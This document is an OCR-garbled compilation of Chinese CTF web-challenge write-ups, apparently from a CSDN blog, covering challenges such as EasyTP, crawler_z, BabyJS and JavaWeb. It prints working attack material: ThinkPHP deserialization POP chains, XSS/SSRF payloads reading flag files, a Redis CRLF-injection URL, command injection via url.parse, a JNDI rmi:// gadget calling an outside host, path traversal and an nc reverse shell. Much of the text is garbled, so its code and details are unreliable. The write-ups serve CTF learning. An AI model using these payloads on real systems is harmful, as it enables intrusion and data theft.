get_op{UEUTIBIRIE T 5 — L 745, BIMIRATATCAESE A5 A B5] 5

blacklis
val
pr

45 R RboolfE B A B £ [0-9] I A 2%

1 {cale _evalld
result "True" result

AR AN B BV — HE BT



import string

import requests

import sys

from urllib import quote

if _ _name__

reg_str string.punctuation string.ascii_lowercase string.ascii_uppercase string.digits

Flag

url

Flag)
for i in (100):
for x in reg_str:
url t url quote(x)
print url_t
html requests.get(url_t).content
if
in html:
url url t
Flag Flag + x
print Flag

break

PyCalx2

fEpython3.6. 2k A, PEP 498 $2 it — M B 7 F e # sUAL ML, ARN 747 B 4 E "B B8 W LB — P AR 2 F-strings

F-strings#@ 4 7 —Fh B3 s B 7 (8 175 20K python ik 20k N\ Bl 755 8 H SR 17 4 20tk
¥ FIF-strings A& 5] 5, FNE X RREX A HIf else.

B 5 MR UEFF R P EEEBARERN, UL REXBERTES) B, ESTNRERXSPIHEIFE lxT
HI1E
[Black Watch A f i ]JWeb2

EAHME RIS & R KW

& 0510-427b-a040-97ab595e0Tfa.noded buvoj.cn:81

EWIREES

S ONN@RTOldgag

1B T X sqWE AN K BVA waf, MR S # 5

S | i A T RS == /85l



e R T N e I B I e e B

mmyﬁﬂ’ W Achions w ﬁﬂnlmm Render wn  Aclions w

WGET /admin/page/json.php?dt=alldatacnane= 1 HTTRS1.1 200 OK
WebshallVESHA4MATAESVAS bACkpage=1alimit=19 HTTR/1.1 2 Berver: openrestcy
Date: Fri, 15 Oct 2021 18:15:12 GHT

Content=Type: application/json

.

TdFaTedF=-0310-427h=-a040-5Tako55e07{a. noded. bunsj. cni

a1 5 Connection: close
i User-Agent: Mozilla /5.0 (Windows NT 10.0; Winéd; & Cache-Control: no-store, no-cache, m
*Ed; rvi93.0) Gecke/20100101 Firefox/93.0 Expires: Thu, 19 Now 1981 08:52:00 &
4 Accept: application/json, text/javascript. */*; Pragea: no-cache
q=0.01 9 vary: Accept-Encoding
5 Accept=Language: 10 X=Powered=By: PHP/5.2.17
zh=-CH, zh:q=0. B, zh-TW:;q=0. 7, Zh-HE; q=0. 5, en-Us; g=0. 3, ¢ Content-Length: 53
niq=0.2
& Accept-Encoding: ¢gzip, deflate 13 ¢
X-Requested-With: XMLHttpRequest “data”: |
Conpection: close ]
' Referer: : “name®:"."

http: //7d5a7e55=-0510~-427b-a040-57ab5%5e 07 a. noded. bu
ucj.cn: Bl admin/page/allshell. php?name=Hebshe LLVESYA
AATAETRATVAC
Cockie: UM_distinctid=
17c309687E91a-0941c370efchdb8-4c3e2TT8-144000-17c308 ]
ES57falda; PHPSESSID=TspecvuclibsclijBrbfapb3fjal “name": "Z0Z0=2=10.txc"
1 I
: 1,
“code”: 0,
"mEg*: ",

"eouUnt *: e o =y ~ &
" CSDN @Armoldgog

GET

jwon. phptdt=al ldat atname= HITR 1.1 200 oK

i. . ! a .AA00spage=lelimit=15 NTTE 1.1 SEEVEr: OPEnCesty

Homt: Date: Fei, 15 Oct 2021 17:48:04 GHT

TdFaTeSF=0510-42Tb-a040-57ab555e 07 4. noded. buus j. cn: 4 Content=Type: application/jwen

81 Connaction: close

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; & Cache-Conteol: no-store, no-cache, must-revalidate,

E1 K 2.0 & 9 DL0L FigeftoxS53.0 Expices: Thu, 1§ Mov 1981 0 00 GHT
i Accept: applicationfjsmon, text/javascript, */*; Pragma: no-

g=0,01 4 Vary: Accept-Encoding
5 ACCHPE=LARGUEEGS: 10 X=powsrad=0y: FHESS.2.17

zh-CH, zhiqe0. &, zh-TW:qed. T, zh-HE: qud. S, en-us:qed. 3, & 1 Content-Length: 551

mrg=0.2 2

Accept-Enceding: gzip, deflate I

¥-Requested-With: XMLHttpRequest "data®: [

Conmectlion: clome i

: “name": "
SaTa55-0510-427b-a040-57ab595e07fa. noded . bu be
1Elfadein/pagefallshell. phpinase=Nebshe l1NESVA i
AVATRESVATUAT .

Conkie: UM _distinctids e

“nam

“ ' © R
pnEiE

M | A= ] B WA

B0 ™™ BERE 1 WO wensnerk D

i R

s - =5 0E1-10-16 B2
Y .Badh P'Ffﬂf 1760 BASH PR Mi1-1e-1s 0z 3@ 01 F : INFO; 3 TRl
- - = i FAX1-1816 OF:81:10,018: INFO: Last packet
_bashic 176 B BASHRL _ ¥
" NGB ESHAE e IOE1-10-46 82:01:13, 277 INFO:Conn frem: (117,21 300. 16
R P021-10-16 02101113,297 1 INFOILast packet
JCEmshority G248 IKEAUTH. 2071-10-16 07:00:15, 307 : INEO: Query
pearc 1958 PEARRC 3L PoR1-D@-16 OF:03:1%, 505 1000 -« result
pristutili.cly HE B CFG IR TOR1-10-16 82:01:13, 323 INFO: Rasult: "\l FIRR{REATEEES 0 S A SO ST T
1 e 1 KB END 06 DOEL-198-06 B2:81:13,323 1 INFO: -~ result
1 cshee 1298 TCSHRC .. FOI1-A0-6 D205 00,030 INFO Result:
1 Mautharity 1386 RAUTHOR., z:"’:':: :; ey
Y 1= ] 5 TEF
LSO 0 WEESSIOML. ) r
I0F1-10-16 82:01:41,035  INFO: Last packet
A Zpy T.TKB Python File £ i
= installsh Shell Scrigt an a——
= e Gz TR AR e m Tl




LU ATIOIUL Y

A7 KB A DO U . .
16,1 MB MT EMRE 200 606/27 1406 P ret et

[2021% = #F ]secrets_of admin

R
SSRF CVE-2019-15138
Index.ts AT LA £l — A8 F M pd i ARIE 4L 1 2 g




lapiffiles v LA¥s fifilelog » HA P ASEISEFA T, BHEERMEY], 7FZEssrf
lapiffiles/id &b o] CASEER SO 9 2, (BT B TGk Bl superuser A 7 (1) 3CHF

BEIBWEE M, BEESEFadminf P %N, FRNFElagXHEE, XH)F)E Fsuperuserf P
3 A2 U 0 v B R B AR pd S {4 Fiflag SC A4




MAMWELAEER, SRECCH# B BB 2% adminiik F 2 K 5 ssrfifi i /apiffiles B H Xt files B 3 T RISCH:, 78508 B kAT R BX,
FiEid/apiffiles/:idi# AT i E
{3 FICVE-2019-15138T ssrf https:/security.snyk.ioMuln/SNYK-JS-HTMLPDF-467248

BRI

#208 haml-pdf €, KRS <3.0.0

MME: WWETEN B CVE201915138 @ CWESS2 @ S v
ELiE?
B html-pdf B 3.0.0 5D RAR

HTML 30, Wi
B XHR AR

T

P& fete/passwd

CSDN @Amoldggg

i A B et i 8

content img+src%3D

content 3Cscript%3E%@Avars20xhr%20%3D%20new%s20XMLHttpRequest 3Bxhr.open(%22GET%22%2C%20%22http%3A%2F%2F127
0.0.17%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename’%3D.%2Fflag%26checksum’%3D123%22%2C%20true)%3Bxhr.send
3B%0OA%3C%2Fscript%3E

i) 15 /apiffiles/123 B0 7]

g 'n  Actions v iy [l Fender \no o Actions v

! Fapi/files/123 HTTE/L.1 HITE/ 1.1 200 OK
v Ferver: openresty
TE4TS-dD0e-474b-aZ38-48€3bcl8fel%. noded . buuoj. cn: Date: Mon, Z0 Dec 2021 15:58:43 M7

4 Content=-Type: application/octet=strean
af/5.0 (Windows NT 10.0; Winéd;
Gacko/20100101 Firefox/95.0

Evag: W DoCp/ 8 S LM+ VBN FagI ~
ion/xhtaltxml, applicationd xml;q=0. K-Fowered-By: E

flag(9C6cfdbl=-9elb=-4al7=5107=fcSdBfedEefT )

Eiq=0.5, en-Us;q=0.3, 9

ept-Enceding: gzip, deflate


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15138
https://security.snyk.io/vuln/SNYK-JS-HTMLPDF-467248

[2021# = #F ]cralwer_z

XK PHEFSREZRS I, zombiejsfRigE \RKH
M BRI AR B R ) A, BERE TN — B RAT
User.js /profile % 1 A8 5E ™ N5 B8 FH € R ¥ D) Be

& utils.checkBucket(bucket)db B2 48, il Fhttp(s) B 4 1A, & oss-cn-beijing.ichungiu.com

URL{url);
(err)-{

{url.protoc 7 url.protocol
(url.href.inc [ n-beijing.ichungiu. cc

fprofile % B 1% 7T LAE 2 20 S buckettuhk 77 A #03E, W) Bk % T TH 77 & authToken2s Vi [l /user/verify, X B R 2 5 H7 2 EH

personalBucket

]
et -puthToken;




Verify# AR R tokenF 2k, HiBidvalid 11 % Btokenf B —ik, HFidz /Evalidgia Afalse. X B HHE Fibucket KA
personalBucketf]{&

FrUAR 1% R B IRA, —IRIEH k3R Btoken, 7 4h— 0% & bt # ¥23X 1 personalBucket
, FHIE® 8K tokenZ: verify ARG IE, B #Hrbucket

7 2 AT 115 B F A F zombiejs R A% N g https:/ha.cker.in/index.php/Article/1356 3
FeFvps LR S http iR %53, B MesthtmITUE, 8 F & J5 HFHE R

il
i
BIEE:

| s CSDN @Amoldegg

script>c sthis[c][c](

) ()

5 BRI | B9 IE ¥ bucketiuhik &% > 3k Gtoken,  BLR 56 ZBhE 6 E



https://ha.cker.in/index.php/Article/13563

HH—AMI, BucketIBH Ahttp:/vps:7999/test.htmi#.oss-cn-beijing.ichungiu.com/B &]

T c«:a%‘ma-m-: ;ppi:'.*.-:ltianf:—m{nlwrltn=u$¢d
¢ Content-Length: %2

hrep: //ZBaEdslb-DaSd-4864-5189-d3bB55AE8Te3. noded. bu
uoj.oni Bl user/ verify ttoken=00£&cchbllefcleIfTedETEabo
A78a3ET10e3IFSH0S044494 1T S1006 Te2SFEL44ET

12 Cookie: _ga=GAl,l.EEST31884. LEI4E1F505:
UM_distinctid=
17=b113755<7 1-00hEabd 1388 6dE=-4c3eT670=- 144000- 17113
Ti4déde; connect.wid=
AVIABOKIDGVEVIEDCua F RT3y CNHEZEVRE MBS 11 3H48 BXNNSQ
kUpSTbAL T bvGhiwk e IGERe TN

13 Upgrade-Insscure=-Requesca: 1L

o erigin: .
htep: //2BeEde lb=-DeBd-48Ee-FLE0-dIbEGHAEETeT, noded. bu
usy.cm:BL

L0 Connection: close
i1 Referer:

heeps: /OB SATIIEIHaTe AEDAE0EF S accTET
<Stextarear
“fdivy
<div class="ghk=3">

tbucket=
“Sftest. hrsld. oss-ch-bedjing.

Jaffiliation=liag
hrep: /4o
ichungiu.com/

<huteon clasEs'btn bra-prisaey” cypes s
Update
<bucton®
&3 “fdive
L] <fform>
[
EE
L2 <hr>
b
&n <p class="alert alert-success”>
Admin will check 1f your bucker im qualifi
“falert>
E5
- <fdive
Ty <imain>
1 L ]
L | CsSON @Armaoldggq

KiE5E, XBfbucketiZ s, B,

i PR BE 3028k % 1 # 4

m Cancel [{ r][} r} [ Follow redirection J

JST /user/profile HTTE/1.1
ysSt:

le6de lb-0e94-486e-9189-d3b899a687e3. node 4CEMbF Adanldrge

LB /user/bucketf) ik B4 & E vps T

;n:-mnt: Mozilla/5. 0 (Windows NT 10.0: Wingd:
Ed; Ev:95.0) Gecko/20100101 Firefox/55.0

coept:

ext/htal, application/xhtsl+xnl, application/xmlq=0.
s image/avif, imagefwebp, */*;q=0. &

cospt - Language
h=cH, zh: q=0. 8,

iq=0.2
coept-Encoding: gzip, deflate

rigin: :
t;n:thHol.b—Mi-l&ﬁ-!l.“—ﬂM!Mﬂos.mdﬂ.w A
ej.en: Bl

oanactlon: cloms

efecar:

ttp:/ /200 Ede lb-0e 54 -408e-51009-dIb8902E0Ted. noded. bu
oj.cn: 81 user/verifyTr JeEcOslfladETEabe
TealEZ10s3£5b090ddd5alfB100sTc2E9E144ET

ookie: _gawGal.2. GES231084. 1634619925,

H_distinctid=
Tcbl13785c71-02bEabd 130 0Edd- 4cTe2679- 144000-1Tcb11T
S5dE6e; connect.sids

AIAD ORI 0GWEYUEN0wo FnTZIMYCHH S EvRES . Mo 1L 3M e BXnN5Q
UpGIbAL 281 bwGhEwk N IGERITH
pgrade=-Insecure-Requests: 1

14
zh=TW:q=0.7, sh=HE: q=0.5, en=US:q=0.3, &

<label for="usesBucker ">Bucket</

73

<textarea class="form-contrel’ oy
="text", name="bucker", id="userBucket” rows="1"
http:/ /=" %% T23,240:7995/test. html#. oss-cn-beiji
cichungiu.com/ </textarea>
fdivy
€div class="mb-3">
chutton class="'ben btn-primary"
Abac lurrony

<fdive
<fferax

<her<ibr>

<p clags="alert alert-success ">
Zuccessfully update your bucket from personal
bucket i< alert>

<fdiv>
“imain>

<footer>
Cp CLARESTTANT-CHATH#r TEXT-BUTHd">D COpyvElght
2021 craultr_z{f p}
< footers ~ -
CSDN @Arnoldeoe

< bady>

I



7 ] /Juser/bucketB 7] fi & rce

root@iZbpl7uguy

+ving HTTP on @

21.2088.165 - - :537:83 208 -

Listening on 8.8.8.8:7777
: Connection from
Connection from
set terminal proce roup (205): Inappropriate ioctl for device
no job control in this shell
out: fappd cat/flag
cat/flag
bash: cat/flag: No s
app@out: fapp$ “[[A*[[D*H*H*H
4
bash: g: command not found

app@out: fapp$ cat /flag

[41 B9 2 CTF 2021]EasyTP

Kgtid: think PHP¥#FH SQLIREHEIEN HEBEAN
www.zip T 8¥EH, £EFEZHE, FERFIIAD

B EThinkPHPIR A& # R EFE I RIEE FThinkPHP v3.2.* (SQLIEAKHIERED RFFIILPOPHE



https://f5.pm/go-53579.html

E#H X EMpayload#T

<?php
namespace Think\Db\Driver{
use PDO;
class Mysqgl{
protected $options array(
PDO: :MYSQL_ATTR_LOCAL_INFILE
)
protected $config array(

true,

}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function _ construct(){

$this->img new Memcache();

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __ construct(){
$this->handle new Model();

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options array();
protected $pk;
protected $data = array();
protected $db null;
public function _ construct(){
$this->db = new Mysql();
$this->options| ]
$this->pk ;
$this->data[$this->pk] array (




1
J

namespace {

echo base64_encode(serialize(new Think\Image\Driver\Imagick()));

[ s weat (0xTe, mid((select ® from flag ), I}, OxT
div class="c
div class
div class
h3+i
diw
div clasa="text”
pFILE var/www/hin
diw
At
N 3 —
FI A mysqliE & E N Sshell

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options array (
PDO: :MYSQL_ATTR_LOCAL_INFILE true,
PDO: :MYSQL_ATTR_MULTI_STATEMENTS true,
)

protected $config = array(
1,




}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function _ construct(){

$this->img new Memcache();

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function _ construct(){
$this->handle new Model();

namespace Think({
use Think\Db\Driver\Mysql;
class Model{
protected $options array();
protected $pk;
protected $data array();
protected $db = null;
public function __ construct(){
$this->db = new Mysql();
$this->options| ]
$this->pk g
$this->data[$this->pk] array (

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));

$curl = curl _init();
curl_setopt_array($curl, array(
CURLOPT_URL

CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING ,

CURLOPT_MAXREDIRS 10,

CURLOPT_TIMEOUT => 30,

CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION 1 1,




D

CURLOPT_POSTFIELDS base64 encode(serialize(new Think\Image\Driver\Imagick())),
CURLOPT_HTTPHEADER array/(

Vs
))s

$response = curl exec($curl);

$err = curl_error($curl);
curl close($curl);
if ($err) {
echo
t else {

echo $response;

RS B R8RS B AEE, EX Bt A gEHlocalhost&iEA B

e ——
O #FmaE - X

ZRE xRT O MER

HigpERR MYSQLI v
HigESS utfg v
HiEEmt * 127.0.0.1:3306

EERF root

ERED root

O & # o > 14T x AT n#HE -
gh mysqli;//root@127.0.0.1:3306 IS SELECT “flag® FROM “flag™ ORDER 8Y 1 DESC LIMIT
B information_schema
B8 mysq
B performance_schema
B sys
B test
BB flag o TR
I flag (varchar(256)) £ B
@ USETS
flag

flag{5h261120-6f84-469b-8c83-f65dec?i98} I

SO @Amo r||||

7] L Frogue-mysql-server , & b Hipayload B ERCE , AT PASEEMTE B SCHEE, (HiX BflagfE e &+

[SWPUCTF 2016]Web7



X8 . Python urllib HTTPL ¥ A IR
SubmitiE B Z R, BEMRE HARE NG R Burllib2iE

« = O @ Q B 474f429-9c0¢ 419f-abad-062ff361 ecd7.noded. buvoj.on:B 1/input

& FEgs m BUUCTF (@ Bast?® [§ Amoldgqqeiies €. ) ERsaEEsws B sesunedis ] 800 (@

500 Internal Server Error

The server encountered an unexpected condition which prevented it from fulfilling the request.

Traceback (most recent call last):

File "/usr/local/lib/python2. 7/site-packages/cherrypy/_cprequest. py”, line 630, in respond
self. _do_respondipath_info)

File “/usr/local/lib/python2. 7/site-packages/cherrypy/_cprequest.py”, line 689, in _do_respon
response. body = self. handler ()

File "/usr/local/lib/python2. 7/site-packages/cherrypy/lib/encoding. py™, line 221, in _ call__
self body = self. oldhandler(®*args, **kwargs)

File “/usr/local/lib/python2. 7/site-packages/cherrypy.
return self. callable(*self. args. **self. kwargs)

File "index. py”, line 28, in input
for x in urllib2. urlopen{url). info(). headers:

File “/usr/local/lib/python2. T/urllib2. py”, line 127, in urlopen

& ¥ s P}

cpdispatch. py”. line 54, in _call__

File "/usr/local/lib/python2. T/urllib2. py”, line 396, in open
protocol = req. get_type()

File "/usr/local/lib/python2. T/urllib2. py”, line 258, in get_type
raise ValueError, “unknown url type: %" % self. _original

ValueErTor. unknown url Lype. dsad

CSON @Armoldggy

iR EPython urlib HTTPSkIE AT i TARVNCAA A Atbpythoni A IR 3Y. VRIRAIFI BT REE itp Sk f 8 A R
A SEREN

urlopen(“http://127.0.0.1X00XBAX2OSLAVEOF . . . :6379/7)
»»> pprint{conn.recv(388).splitlines(keepends=True})
[b'GET / HTTP/L.1\r\n',

b'Accept-Encoding: identity\r\n',

b'Host: 127.0.8.1\r\n",

b' SLAVEOF . . . :6379\r\n’,

b'Connection: clese\r\n’,

b'User-Agent: Python-urllib/2.7\r\n’,

b*yrin']

Wﬁﬂmwh%\l”l‘.

https://tiaonmmn.github.io/2019/09/12/SWPUCTF-2016-Web7/

payload:

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave %0d%0a:6379/


https://tiaonmmn.github.io/2019/09/12/SWPUCTF-2016-Web7/

H#EsubmitiR 3 &g
SR 5B B B B AN B Nadmin® R

Admin Login
Login it now!

« flag{797b1268-6094-4bc8-8631-5¢9540874092} |
CSDN @Amoldecg

[ 5 45 2020 4 ik 3 ]BabyJS

Kegin: ssrf 00BN @ PATERRT
TRFEGHET, SBHroutesfindexjs, 7] LLE BB 5 19 135 2K [B] — N2 fjson

noldgqq

[debugik HFFAE £ EZ 4.

GETi&Ek: #HifllipfEblacklist BIAHLIPYT ], siikHlgetZ i+ HunS$, ZBRESPRREIISAXNEIS, )J5MHnodejsH]
url.parse £, AN EHIunBHESR] echo '${url.parse(u).href}'>>/tmp/log FIHAT. ZJFIRE/tmp/logXHEFKIAZ. X
Bl DAy &vE N B flag XA WA S A Bllog S




POST# K : post&F#RE TurlZ%t, W Hurl.parsef@tr, )5 AW H A1 EH B FZBRGEDlacklisthEAEHF, fHHrequest
R B0 I GE T L Rurls B Frig 2 furl, RENERKINZ, 7 TSSRF GETi# K/debug# i

Miipayload, f#icpfn&-it/MlagBE SR Hl2]/tmp/llog T, BEESIFSKE EH. fEget/debugiEREJLME, ELTWEFS'S "
FEurl jsYRARRS BRI, AT B Hurl.parse(u).hreftf, STURLH TR P 2 M E S ) 7B IR, FrLa] LUK 755 4t )5 5
fEpassF B LA G GETE K B X 5| Sid 38, @85 S A RIH 4. 15 [ 62 A8 A %0028k .

B Ry 7 127.0.0. 1R M B Rk, (H3EFR 1127.0.0.1%]127.255.255.254 5 72 [51 FF ik

Paylaod:

http:/V2f0464ef-9205-4606-aa5d-bddd2fccadZa noded.buvoj.on:81/debug

POST w httpeff2f0d64ef-8295-4606-aa5d-bddd 2fccalZa.noded. buuoj.cn:81/debug
3 mis & Authorizatio Headers (10 E-DC',' .
none form-data x=-wwrwi-form-urlencoded | @ raw binary GraphQL JSON -~ I
A uEl®: “http://127.6.8.2:3888/debugturl=http: [ /8252704 ; cpSIFS/flagSIFS /tap/logee
Body Cookies |2 Headers
Pretty Raw Pravigw Visualize JSON v =
i\vdata\":\"flagib92cbie3-Téaa-4d5f-84b2 -20fe80d4cTe2t \\n\ "
CSDN @Amoldegg

[4 84 CTF 2021]JavaWeb



X4diA . CVE-2020-11989 (Apache Shiro &K iE452id¥iH, Javak 54k
P i login& 7R /json, FililE/jsonX 43023k [El/login, post—ANEIEMM G F T

t W Actions v mnaw Render ‘\n  Actions w

login HITE Ll.1

=¥-4f0b-00%93-T0d02

T —

I Upgeade-Inse
i

e ) :SDN @Amoldggq

SPRBEFHRM, {HiR[E A Fset-cookie’s rememberMe=deleteMe, T LA & ShiroFFig
FIFICVE-2020-11989 (Apache Shiro £ 4 Wi 4633381 POST 1 /Jjson

Reguest Response

LG Raw  \n Actions w Pretty m Render \n  Actions w
POST HETE/1.1 Z0D OF
He 14e5deds LS e

== 10:04:1
fhtml:charse

Usar-Agent: }
Accept Xt/ htm
cept-Lan

4f0bL-80593-20d02cTEIE4Z. 0

a TE3F4T

Upgrade- cure-Reques

111 e o A e o [ ] g
CS0ON @Armoldgoq

A LLE 3 &Zjackson P &
PR T R BT R




Request

Raw \n  Actions w

POST / n HTTR/1.1

Host: Ll4c%del3-cIZ3-4f0b-80%3-20402c7E3642.
User-Agent: 1la/5%.0
Accept: text

Accept g UG
Accept-Encoding:
Content-Type:
-Length:

http

Origin:

Connection: close
Referer: http://l4c9de03
Cockie: UM_distimctid=17

Upgrade-Insecure-Request

[
"ch.gos. logback. core. db. JNDIConnectionSource”,
|

“dndilocation™: "rmi://1 1095/ €5e3qu”

SR JE nc MW s D 2 lieflag

[b01lers2020]Scrambled

XKgtiE: pythonf 4

Response

Pretty m Render ‘n Actions *

HTTE/1.1 500 Internal Server
openresty
Z5 Jan
.—-Type: text/ht
Content-Length: 500

on: close
Content-Language:

2022

zh-CN

<k

l><body><hl>Whitelabal E
application has no expliecit
you are seeing this as a fal
">Tue Jan 25 11:21:26
There was an unexpected erro
Erpok, Statu o0} .</f

><ed

while looking up DataSource:
cannot be cast to javax.sgl.
reference chain:

167Tbfb54

AT M.set-cookie F H A L F R transmissionsTE I A B RAE B

serVer:

Date: Tue,

Conten

[(Windows b
Firefox

ion
Host:

wml :g=0 Set

xlication

CEyen-Ugig=0.3; e

TFE
lang

secure-Requests: 1

lontrol: max-agesQ

aalesfal-059dE-4deB-530
fraquency=2

get -H . L
transmissions=lxkuholk:

e
H=Powered=-By:
Content-Length: 487

openresty

L] res=Tue,

PHR/T.4.2

a7




EAMERAE X, EREGAREPRES L

Connection: close

Host: aalgs%al-09dE-4ded-93Zc-4cacliad777cl. noded. bu
Set-Cookie: frequency=2; expires=Tue, 25-Jan-2022 1
Set-Cookle: transmissions=kxkxzxkxzxkxshg%7BE3kxzkxzkxzkxzsh
¥-Powered-By: PHE/7.4.72

Content-Length: 487

Host: aaleb9%al-09dE8-4de8-93Zc—-4cacZed?77cl. noded. buu
Set-Cookie: frequency=2; expires=Tue, 25-Jan-2022 172
Set-Cookle: transmissions=kxkzxkxkxshdfIlkxzkxzkxzkzsh;

¥-Powered-By: PHE/7.4.72
Marntant —Tancath: 487

RS, KABRREPICLTR, HREE A TR EfagH KA B

i¥xplres=Tue, Z25-Jan-2022 12: DECODED FROM:
=kxkxkxkxshg%?Bkakxkxkxsh;
gi{3

import requests
from urllib.parse import unquote

r requests.session().get(url,headers=headers)

transmissions unquote(requests.utils.dict_from_cookiejar(r.cookies)[ 1) .replace(

index = transmissions[2:]
flag| (index): (index)+2] transmissions[0:2]
if i%30==0:
time.sleep(2)
print("".join( (f) for f in flag))




[Windows][HITCON 2019]Buggy_Net
Kignl: MESTBRLARE

Buggy .Net

Here is the source for you: Default.txt

filename... ‘

MBS TG, CH#EK. BEBENE, LA CHHaREH.. P ERFE, WREH N EERwwwroot H 5 T BISUHE N A IR




fné A Default.bet) 3R [5] 40 F &

«%eo Page Language="C#" %

Buggy .Net

Here is the source for you: Default txt

¢% bool isBad = false; try { if ( Request.Form[“filename"] != null ){ isBad =
Request.Form["filename"].Contains(".") == true; } } catch (Exception ex){} try { if (tisBad){
Response Write(System.10.File. ReadAllText(ea"C ‘xine:puc.‘xwwwrw;'r_\;' T @

e («

- . : Arnoldgqq
Request. Form["filename"])); } } catch (Exception ex){ ) %>

https://iwww.sigflag.at/blog/2019/writeup-hitconctf2019-buggy-dot-net/
https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net](hitconctf2019-buggy-dot-
net/%29%20https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#buggy-.net)

Bt AL #15 isBad = false

KRIEGETE R

Content-Type: application/x-www-form-urlencoded

HRIEXFRZMRBENEN

filename=%2E%2E%5C%2E%2E%5CFLAG. txt&o=7%3Cx


https://www.sigflag.at/blog/2019/writeup-%255Bhitconctf2019-buggy-dot-net/

[#% % K $k ik 2020]Roamphp4-Rceme

XK : .index.php.swp, RiFEEZEH, FHEITIEN, TSrce
F12%& 3| Hint4&7~x <!-- Do you know vim swp? -->
vim -r .index.php.swp‘ﬂ?ﬁi

P8 TANRER R EVE R UBUR SR, TLECE] 55 Bk

i
>
s

import hashlib
import urllib.parse as parse

def gethasheq(last):
for i in (3000005) :
kx = hashlib.md5( (i).encode( )) .hexdigest()
if (kx[:5] last):
return (1)

def makeurl(last):
Ss
for each in last:
Ss (each)))[2:].upper()

return {ss}

if _ name__

cmd makeurl ( makeurl ( makeurl (

print(cmd)
print(gethasheq(




B system(next(getallheaders()));

8C7%867%8C%8B%9A%92 FF

FOST / HTTR/1.1

Host:
cc34f3a7-Fa75-4107-9b25-31aBbT40015F . noded . buucj. cn:
Bl

Pser-Agent: ls /|

coept :

text/html, application/xhtal+xml, applicationsxal;q=0.
8, imagesavif, image/webp, */*:q=0.8

Accept-Language:

zh=CN, zh:g=0. B, Zh=-TW: q=0.7, zh=-HE: =0, 5, en=UZ:q=0.3, &
1=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-wwe-form-urlencoded

Connection: close

Referer:
hetp://ec34f3a7-fa75-4107-5b25-31aBb740015f . noded. bu
woj.en: 817

Cookie: UM _distineeid
EZ3L030085-0d411b5e5
030111E: PHPSESSID=
Upgrade-Insecutre-Requasts:

crd=
[~WBCABENBCYABNIANTIT)
SOELSANERNOENSINDINETAS
bécode=297413|

EE] {1
AVSENSEVOANEDAVEC) [1AFF) () )

=91V OGARETAER] [ LAFF] ([~
PR3

Homt: F
ee34f3aT=-fa75=-4107=-9b25=-31a86740015¢ . node 4. buusi. cn: 3
gL i
EPzec-Agent: cat rTIII1IT4gggg9g9g ]
i ACCapE:
text/html, application/ xhtal+xml, application xml: q=0
9, image/avif, inage/webp, */*;q=0. B
Accept-Language:
sh=0, sh:q=0. B, Sh=-TW: q=0. 7, sh=-HE: q=0, 5, en-U5:q=0. 3, ¢

nig=0.2

Aocept-Enceding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
nt-Length: 121 L

c34f3a7-faT5h-4107-5b25-3La8bT400 15T . noded. bu
ugj.en: Bl

Connection: close

L Referer:

2e34L3a7-aT75=-4107 =525~ LaBbT40015T. noded., bu
BlS
UM_distinct
7 D085-0d41
O0B0LL1B: PHPSESSID=ctfd
Upgrade-Insecure-Requests:

Cockie:

emd=

(~VBCABEVBCABBAGANGZ] [EAEF] ([~
NOANDANEBEASEASIROINATRIANIER B AN DD
becode=151054

GINGANBTABE) [V
Y [1AFE]

[SUCTF 2019]Upload Labs 2

X4tiA: SSRF, phar+SoapclientfE4: & %1, FINFO_FILEf#: & phar, php:/filter £ phar://id 3§

917%9A%877%8B

FF

HTTF/L.1 200 oK

Eerver: ocpencesty
Date: Thu, 27 Jan 2022 1E&:36:21 GHMT

4 Content-Type: text/html; charsetsyUTF-3
Connection: close

Cache-Control: no-store, no-cache, m

Expicres: Thu, 1% Hov 1%31 08:52:00 GMT
Pragma: no=-cache
Vary: Accept-Encoding

PHE/T.2.25
7

H=Powered=By:
Coentent-Length:

bin
koot
dev
etc
fl1i11l4gggagy
home
lib
LibEd
media
mnt
opT
proc
root
Tun
run. sh
sbin
sEV
sYS

1 tmp
use

Arnoldoqg

WAL

CpEnNEeRTY
140 MY
charset=UTF=-4

no=caché, BUST-Eéval
1581 0E:ST:00 T

Expices: Haw
Fragma: no-cache
Vary: Accept-Enceding
A=Powered-By: PHE/7.2.25
Content-Length: 43

flag|530847es5-87ed-daf4-aT40-TaZ 140b39545)

s
P |

rmoldgqq

987%9A%8B%OE%937%93%97%9A%9E%9B%9A%8D%8C FF



WRIEL K R EF IR
admin.php AJ LA B 7 2 A7 17 4 BE#E N IE# 132 4

thod t »clazz, - $this->funcl);
nMethod- 1

is->func2);

is-»func3);

$func2
$func3

S

admin { __ .- $clazz, -$funcl, - $func2, - $func $argl, -$arg2, -$arg3d);
Sadmin->ct

getMIME () 8§ 7 FINFO_FILE

finfo_file/finfo_buffer/mime_content_type
¥JiEiE_php_finfo_get typelRlB:iEH T <8 & $php_stream _open_wrapper_ex, S2357] LIEF phar:/fih &
phar RF54k

funct getMIME()
ffinfo finf




index.php B 5t & L% T TH °] LAF 28 A T CheckZ i check B £t SCAH P 2546

< php
I;nch.de *class.php”; I

$userdir = “upload/" . md5($_SERVER[“REMOTE_ADOR"]);

if (!file_exists{$userdir)) {
lir{$userdir, @777, true);

1

)

if (4 e {$_POST[“upload”])) {

$allowedExts = array(“gif", “jpeg”, "jeg”, "Prg");
$tmp_name = $ FILES["file"]["tmp_name"];
$file name = § FILES["file"]["name"];
$temp = explode(®.", $file_name);
$extension = end($temp);
if (({S_FILES["file"]["type"] == “image/fgif")
{$_FILES["file"]["type"] == "image/jpeg")
|l (S_FILES["file"]["type™] == “"image/png~))
&8 ($_FILES["file"]["size"] ¢ 204800) F 200

